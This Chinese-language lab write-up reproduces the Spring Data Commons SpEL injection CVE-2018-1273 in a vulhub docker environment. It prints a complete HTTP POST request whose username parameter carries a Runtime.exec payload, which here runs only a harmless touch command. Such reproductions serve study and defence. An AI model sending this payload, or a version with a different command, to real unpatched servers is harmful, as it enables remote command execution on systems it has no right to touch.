一、漏洞描述
Spring Data是一個用於簡化資料庫訪問,並支援雲服務的開源框架,Spring Data Commons是Spring Data下所有子專案共享的基礎框架。Spring Data Commons 在2.0.5及以前版本中,存在一處SpEL表示式注入漏洞,攻擊者可以注入惡意SpEL表示式以執行任意命令。
二、漏洞環境搭建
需要準備的工具如下:
1.docker+vulhub漏洞庫
2.Burpsuite
3.靶機Ubuntu18.04虛擬機器(其他也可以)
開啟Ubuntu虛擬機器,有docker環境和vulhub漏洞庫的話就直接進入環境,沒有的話先安裝docker和下載vulhub漏洞庫(網上教程很多,這裡就不多介紹了)
root@admin666-virtual-machine:~/vulhub-master/spring/CVE-2018-1273#
執行命令
root@admin666-virtual-machine:~/vulhub-master/spring/CVE-2018-1273# docker-compose up -d
等到出現以下頁面證明已經搭建完成
可以訪問http://your-ip:8080
,出現如下頁面證明環境搭建成功!
三、漏洞利用
1、註冊使用者,提交抓包
2、構造payload,進行發包測試
POST /users?page=&size=5 HTTP/1.1
Host: 192.168.1.17:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 121
Origin: http://192.168.1.17:8080
Connection: close
Referer: http://192.168.1.17:8080/users
Upgrade-Insecure-Requests: 1
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/2333")]=&password=&repeatedPassword=
伺服器返回如下頁面時,證明攻擊成功!
3、進入Ubuntu環境中,執行
root@admin666-virtual-machine:~/vulhub-master/spring/CVE-2018-1273# docker-compose exec spring bash
進入目錄,檢視tmp下的目錄成功出現2333檔案,命令執行成功!
4、關閉docker環境
docker-compose down